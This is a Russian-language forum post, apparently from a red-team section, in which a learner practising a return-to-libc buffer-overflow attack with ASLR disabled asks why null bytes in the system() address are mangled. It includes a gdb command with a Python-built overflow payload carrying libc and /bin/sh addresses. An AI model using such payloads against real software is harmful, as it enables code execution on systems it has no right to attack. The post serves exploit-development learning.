ROP
Red Team
- 27.08.2019
- 326
- 668
Привет, всем
Хочу задать вопрос.
Практикуюсь в атаке возврата в библиотеку. ASLR отключен. Вот такая ситуация:
Адрес system -
Адрес /bin/sh -
Перезапускаю программу в gdb с помощью команды:
Но в стеке байты "\x00" перетираются другими. Получается адрес
Стек
Если перезапустить с помощью этой команды:
Стек
Как сделать так, чтобы нулевые байты не перетирались?
Хочу задать вопрос.
Практикуюсь в атаке возврата в библиотеку. ASLR отключен. Вот такая ситуация:
Адрес system -
0xb7e18c00Адрес /bin/sh -
0xb7f58aaaПерезапускаю программу в gdb с помощью команды:
r $(python -c 'print "\x41" * 36 + "\xaa\x8a\xf5\xb7" + "AAAA" + "\x00\x8c\xe1\xb7" ').Но в стеке байты "\x00" перетираются другими. Получается адрес
0x00b7e18c, но нужен 0xb7e18c00.Стек
Если перезапустить с помощью этой команды:
r $(python -c 'print "\x41" * 36 + "\xaa\x8a\xf5\xb7" + "AAAA" + "\x01\x8c\xe1\xb7" '). Всё ок, но адрес не тот 0xb7e18c01.Стек
Как сделать так, чтобы нулевые байты не перетирались?
Последнее редактирование: